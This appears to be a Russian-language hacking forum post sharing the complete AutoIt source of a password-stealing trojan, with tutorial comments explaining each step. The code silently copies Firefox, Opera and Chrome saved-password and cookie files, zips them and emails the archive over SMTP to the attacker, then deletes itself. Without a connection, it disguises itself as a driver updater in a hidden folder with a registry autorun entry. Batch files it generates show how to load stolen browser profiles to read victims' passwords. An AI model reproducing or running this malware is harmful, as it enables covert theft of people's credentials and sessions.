Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
Код:
Код:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;post: [url=http://forum.thehackworld.in/index.php?threads/Троян-password.218/]thehackworld.in[/url]
#NoTrayIcon ;Указывает, что при запуске сценария AutoIt требуется скрыть его индикатор,то есть тупа скрывает иконку с трея
;{#Include - Включить указанный файл внутрь текущего сценария. (Добавляем необходимые библиотеки(сценарии))
#Include "File.au3"
#include "FTPEx.au3"
#Include "process.au3"
#include "Zip_UDF.au3"
#include "Inet.au3"
;}
$sArgument = '/600' ;задержка перед началом работы в 600 секунд,нужна для добавления в автозагрузку,в принципе можно и убрать,
;но тогда скрипт будет стартовать сразу после запуска винды,если конечно же оставить функцию автозагрузки.
; объявляем переменны
$dir=@TempDir & "\winsc" ; временная папка в которую будут копироваться все файлы,после архивироваться
$File = $dir&"\*.*"
DirCreate($dir ) ; создаём временную папку [ DirCreate("path" )-Создать директорий/папку. ]
$ata=@TempDir & "\archi.zip"
$var = _GetIP() ; проверяем наличие инета,вообще лучше проверять через ping ну он чёт у меня не заработал,нашёл другое решение.
;_GetIP - возращает ip адрес,при чём внешний,но только если есть конект,если конекта нету,значить и ip адреса нету и он вернёт -1,вот и выход из сложившейся ситуации.
$e=StringCompare($var,"-1")
If Not $e= 0 Then ; если конект есть то выполняем код,иначе при попытке отправить на мыло файлы вылетит ошибка.
; #Include <process.au3>
;_RunDOS( $sCommand )
;Скрытно выполнить команду DOS. Окно MS-DOS не отображается.
_RunDOS ( "cd %AppData%\Mozilla\Firefox\Profiles\*.default\&© /y key3.db %temp%\winsc\key3.db" ) ; копируем средствами CMD нужные нам файлы в временную папку
Sleep(100)
_RunDOS ( "cd %AppData%\Mozilla\Firefox\Profiles\*.default\&© /y signons.sqlite %temp%\winsc\" )
Sleep(100)
_RunDOS ( "cd %AppData%\Mozilla\Firefox\Profiles\*.default\&© /y cookies.sqlite %temp%\winsc\" )
Sleep(100)
FileCopy(@AppDataDir & "\Opera\Opera\wand.dat",$dir&"\wand.dat",1) ; дальше работает на Autoit'e
Sleep(10)
FileCopy(@AppDataDir & "\Opera\Opera\cookies4.da",$dir&"\cookies4.dat",1); "FileCopy - Скопировать указанный файл,синтаксис FileCopy ( "Путь к исходному копируемому файлу (файлам). Поддерживаются сокращения в названиях - (*).", "Путь к файлу (файлам) результату. Поддерживаются сокращения в названиях - (*)." [,flag] )
; flag - (опциональный) указывает следует ли перезаписывать файл (файлы) в том случае, когда он (они) уже имеется:
;0 - (стандартное значение) не перезаписывать имеющиеся файлы
;1 - перезаписывать имеющиеся файлы
;8 - создавать соответствующую структуру папок получателя, если ее нет. См. Замечания.
Sleep(10)
FileCopy( @UserProfileDir & "\Local Settings\Application Data\Google\Chrome\User Data\Default\Web Data", $dir&"\Web_Data.s", 1 )
Sleep(10)
FileCopy( @UserProfileDir & "\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data", $dir&"\Login_Data.s", 1 )
;FileOpen - Открыть текстовый файл для чтения и записи.
;FileOpen ( "filename", mode )
;filename - Название текстового файла.
;mode -Режим открытия файла.
;0 - открыть для чтения
;1 - открыть для записи только в конец файла
;2 - открыть для записи и удалить имеющееся содержание
;4 - открыть для чтение в режиме как есть (raw)
;8 - создать структуру папок, если она отсутствует. См. Замечания.
;16 - принудительное бинарное (по байтам) чтение и запись с помощью FileRead и FileWrite
;32 - режим Unicode UTF16 Little Endian для записи текста с помощью FileWrite и FileWriteLine (стандарный режим ANSI символы)
;64 - режим Unicode UTF16 Big Endian для записи текста с помощью FileWrite и FileWriteLine (стандарный режим ANSI символы)
;128 - режим Unicode UTF8 для записи текста с помощью FileWrite и FileWriteLine (стандарный режим ANSI символы)
;В любом из режимов записи будет создан файл, даже если он отсутствует. Это не относится к воссозданию структуры необходимых папок, что реализуется только при использовании режима 8.
$inf=fileopen($dir&"\info.html",2)
Sleep(100)
;FileWriteLine - Добавить строку текста в конец открытого ранее текстового файла.
; FileWriteLine ( filehandle or "filename", "line" )
;filehandle - Указатель файла, полученный при выполнении FileOpen. Либо просто строка с названием файла.
; line - Строка текста. Символы перехода на новую строку автоматически не добавляются.
filewriteline($inf,"<br><font color=red size=6 ><center>Virus autoitscript send PassFile by Lyubitel mod Swap 2,send all file in arhive ( TheHackWorld.iN )!</center></font><br>")
filewriteline($inf,"<p>Полученные файлы можно заменить на свои и просмотреть сохранённые пароли в соответственных браузерах.<br>")
filewriteline($inf,"<b>Если Вы <u>не знаете какие и куда файлы ложить</u>,вы <u>можете запустить bat файлы</u>,которые будут находится так же в архиве.</b>")
filewriteline($inf,"<li>Для резервного копирования своих файлов запустите 1.bat,рядом с ним будет создана папка и туда будет помещёны ваши файлы</li>")
filewriteline($inf,"<li>Для замены своих файлов на полученные,запустите 2.bat,который должен находится рядом с файлами во время запуска</li><br>")
filewriteline($inf,"<b>После откройте браузер и просматривайте хранящиеся в полученных файлах пароли:</b>")
filewriteline($inf,"<li><b>Для браузера Google Chrome:</b> Запустите браузер,перейдите в Настройки и Управления Google Chrome -> Параметры -> Персональные-> Управление сохранёнными паролями.</li>" )
filewriteline($inf,"<li><b>Для браузера Mozilla Firefox:</b> Запустите браузер,перейдите в Инструменты -> Настройки -> Защита -> Сохранённые пароли-> Отобразить пароли.</li>")
filewriteline($inf,"<li><b>Для браузера Opera:</b> Запустите браузер,перейдите в Меню -> Настройки -> Формы -> Пароли.</li><br>")
filewriteline($inf,"<b>Для возрата своих файлов на место,запустите 3.bat.</b><br>")
filewriteline($inf,"<font color=red size=6 ><center>by SwAp ( <a href=http://thehackworld.in >TheHackWorld.iN</a> )</center></font><p>")
;FileClose - Закрыть открытый ранее текстовый файл.
FileClose($inf)
$bat1=fileopen($dir&"\1.bat",2)
filewriteline($bat1,"md myFile")
filewriteline($bat1,"cd %AppData%\Mozilla\Firefox\Profiles\*.default\&© /y key3.db myFile\key3.db")
filewriteline($bat1,"cd %AppData%\Mozilla\Firefox\Profiles\*.default\&© /y signons.sqlite myFile\signons.sqlite")
filewriteline($bat1,"cd %AppData%\Mozilla\Firefox\Profiles\*.default\&© /y cookies.sqlite myFile\cookies.sqlite")
filewriteline($bat1,"copy %appdata%\Opera\Opera\wand.dat myFile\Wand.dat")
filewriteline($bat1,"copy %appdata%\Opera\Opera\cookies4.dat myFile\cookies4.dat")
filewriteline($bat1,'copy "%userprofile%\Local Settings\Application Data\Google\Chrome\User Data\Default\Web Data" "myFile\Web Data"')
filewriteline($bat1,'copy "%userprofile%\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data" "myFile\Login Data"')
fileclose($bat1)
$bat2=fileopen($dir&"\2.bat",2)
filewriteline($bat2,"copy /y key3.db %AppData%\Mozilla\Firefox\Profiles\*.default\key3.db")
filewriteline($bat2,"copy /y signons.sqlite %AppData%\Mozilla\Firefox\Profiles\*.default\signons.sqlite")
filewriteline($bat2,"copy /y cookies.sqlite %AppData%\Mozilla\Firefox\Profiles\*.default\cookies.sqlite")
filewriteline($bat2,"copy /y Wand.dat %appdata%\Opera\Opera\wand.dat myFile\Wand.dat")
filewriteline($bat2,"copy /y cookies4.dat %appdata%\Opera\Opera\wand.dat myFile\cookies4.dat")
filewriteline($bat2,'copy /y "Web_Data.s" "%userprofile%\Local Settings\Application Data\Google\Chrome\User Data\Default\Web Data"')
filewriteline($bat2,'copy /y "Login_Data.s" "%userprofile%\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data"')
fileclose($bat2)
$bat3=fileopen($dir&"\3.bat",2)
filewriteline($bat3,"copy /y myFile\key3.db %AppData%\Mozilla\Firefox\Profiles\*.default\key3.db")
filewriteline($bat3,"copy /y myFile\signons.sqlite %AppData%\Mozilla\Firefox\Profiles\*.default\signons.sqlite")
filewriteline($bat3,"copy /y myFile\cookies.sqlite %AppData%\Mozilla\Firefox\Profiles\*.default\cookies.sqlite")
filewriteline($bat3,"copy /y myFile\Wand.dat %appdata%\Opera\Opera\wand.dat myFile\Wand.dat")
filewriteline($bat3,"copy /y myFile\cookies4.dat %appdata%\Opera\Opera\wand.dat myFile\cookies4.dat")
filewriteline($bat3,'copy /y "myFile\Web Data" "%userprofile%\Local Settings\Application Data\Google\Chrome\User Data\Default\Web Data"')
filewriteline($bat3,'copy /y "myFile\Login Data" "%userprofile%\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data"')
fileclose($bat3)
_ZipCreate($ata) ; Создаём архив,куда будут упакованы ранее скопированные и созданные файлы
Sleep(100)
_ZipAdd($ata, $File) ; добавляем файлы в ранее созданный архив
Sleep(1000)
; FileExists - Проверка наличия указанного файла или директория.
if FileExists($ata) then ; проверяем создан ли архив,если создан то
_send_mail() ; запускаем функцию отправки письма
EndIf
Sleep(1000)
;FileDelete ( "path" ) - Удалить файл (файлы). Поддерживается сокращения в именах файлов,то есть возможно указать *.*
filedelete($ata)
;DirRemove - Удалить директорий/папку.
; DirRemove( "path" [,recurse] )
;path Путь к удаляемой директории.
;recurse - (опциональный) Используется для дополнительного удаления поддиректориев.
;0 = (стандартное значение) не удалять файлы и поддиректории
;1 = удалить файлы и поддиректории, подобна команде DOS - DelTree
DirRemove($dir, 1 ) ; удаляем папку winsc
_dels() ;само удаляемся
Else; если конекта нету,то
$de=@HomeDrive&"\DriverStores" ; объявляем переменную $de,которая будет означать путь до папки на системном диске,которую в свою очередь мы создаим в случае неудачного конекта и в которую скопируемся,с глаз долой.
if not @ScriptFullPath<>$de&"\DriverUdate.exe" then ;проверяем не находимся мы в так сказать временного содержания,если нет то
dircreate($de) ; создаём папку
FileSetAttrib($de,"+H") ; ставим на неё атрибу скрыт
filecopy(@ScriptFullPath,$de&"\DriverUdate.exe",1) ; копирем сами себе в эту папку
_RegRun($sArgument) ;добавляемся в автозагрузку с задержкой перед запуском в десять минут.
sleep(1000)
_dels() ;самоудалемся
endif
EndIf
Func _send_mail() ; функция отправки средствами comobject
;Честно говоря описания к ним не искал,да и особо не разбирался с ними,так понимаю что куда и для чего,но точно описать что для чего не могу,так что тут описывать не буду
;если кому то нужно будет тот погуглит.
$str = "http://schemas.microsoft.com/cdo/configuration/"
$hMAIL = ObjCreate ("CDO.Message")
With $hMAIL
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::{
;;;;;;;;;;;;;;;;;;;;;;;; Вносим данные
.From = "from_e-mail" ;from e-mail
.To = "to-e-mail" ;to e-mail
.Subject = @UserName&"- send all File"
.TextBody = "Virus autoitscript send PassFile by Lyubitel mod Swap 2,send all file in arhive ( TheHackWorld.iN )!"
.AddAttachment (@TempDir & "\archi.zip") ;файл для отправки
EndWith
With $hMAIL.Configuration.Fields
.Item ($str & "sendusing") = 2
.Item ($str & "smtpserver") = "smtp_server" ;SMTP Server
.Item ($str & "smtpauthenticate") = 1
.Item ($str & "sendusername") = "login_from" ;Login
.Item ($str & "sendpassword") = "pass_from" ;Пароль SMTP-сервера
.Item ($str & "smtpserverport") =port_from ;Порт
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;}
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.Update
EndWith
$hMAIL.Send
EndFunc
Func _dels() ; функция само удаления
;~TempFile -Вернуть название для временного файла. Гарантируется, что файл с таким названием отсутствует в папке %TEMP%.
;~ #include <File.au3>
;~ _TempFile()
$sTemp = _TempFile(@TempDir, '~', '.bat')
;FileGetShortName - Возвращает короткое название файла (8.3) в ответ на переданное полное название.
;~ FileGetShortName ( "file" )
;~ file- Полное название файла, которое следует преобразовать
$sPath = FileGetShortName(@ScriptFullPath)
$hFile = FileOpen($sTemp, 2)
FileWriteLine($hFile, '@echo off')
FileWriteLine($hFile, ':loop')
FileWriteLine($hFile, 'del ' & $sPath)
FileWriteLine($hFile, 'if exist ' & $sPath & ' goto loop')
FileWriteLine($hFile, 'del ' & $sTemp)
FileClose($hFile)
;Run - Запустить внешнее приложение.
; Run ( "filename" [, "workingdir" [, flag[, Standard_I/O_Flag]]] )
;filename- Название файла приложения (EXE, BAT, COM или PIF).
;workingdir- (опциональный) Рабочий директорий.
;flag -[опциональный] Состояние окна приложения после запуска:
;@SW_HIDE = скрыть окно
;@SW_MINIMIZE = свернуть окно
;@SW_MAXIMIZE = развернуть окно
;Standard_I/O_Flag - [опциональный] Предоставить рабочий внутренний идентификатор одного и более из стандартных потоков ввода-вывода дочернего процесса.
;1 ($STDIN_CHILD) - внутренний идентификатор STDIN потока
;2 ($STDOUT_CHILD) = внутренний идентификатор STDOUT потока
;4 ($STDERR_CHILD) = внутренний идентификатор STDERR потока
Run($sTemp, '', @SW_HIDE)
EndFunc ;==>_ScriptDestroy
; добавления в автозагрузку с задержкой перед запуском.
If $CmdLine[0] Then
;StringRegExpReplace - Заменить текст строки с помощью регулярного выражения.
;StringRegExpReplace ( "test", "pattern", "replace", [ count ] )
;test - Исходный текст
;pattern - Искомый образец (шаблон). Описание синтаксиса регулярных выражений см. в StringRegExp.
;replace - Текст замены.
;count - [опциональный] Количество проводимых замен. Стандартное значение 0 - выполнить все возможные замены.
$iTimer = StringRegExpReplace($CmdLine[1], '[^0-9]', '') * 1000
;TimerInit - Возвращает значение абстрактного времени в миллисекундах.
$iStart = TimerInit()
;TimerDiff - Вернуть значение длительности интервала времени, прошедшего с момента последнего вызова TimerInit
While TimerDiff($iStart) <= $iTimer
Sleep(250)
WEnd
EndIf
Func _RegRun($s_Argument)
Local $sRegRun = 'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
; RegRead - Вернуть значение из реестра.
;RegRead ( "keyname", "valuename" )
;~ keyname - Ключ реестра.
;~ valuename - название значения.
If Not RegRead($sRegRun, "DriverUpdate") Or RegRead($sRegRun, "DriverUpdate") <> @HomeDrive&"\DriverStores\DriverUdate.exe" & ' ' & $s_Argument Then
;RegWrite - Сохранить величину в реестре.
;~RegWrite ( "keyname", "valuename", "type", value )
;~ keyname - Ключ реестра.
;~ valuename - Название величины.
;~ type - Тип ключа - "REG_SZ" или "REG_DWORD".
;~ value - Значение сохраняемой в реестре величины.
RegWrite($sRegRun, "DriverUpdate", 'REG_SZ', @HomeDrive&"\DriverStores\DriverUdate.exe " & $s_Argument)
EndIf
Последнее редактирование: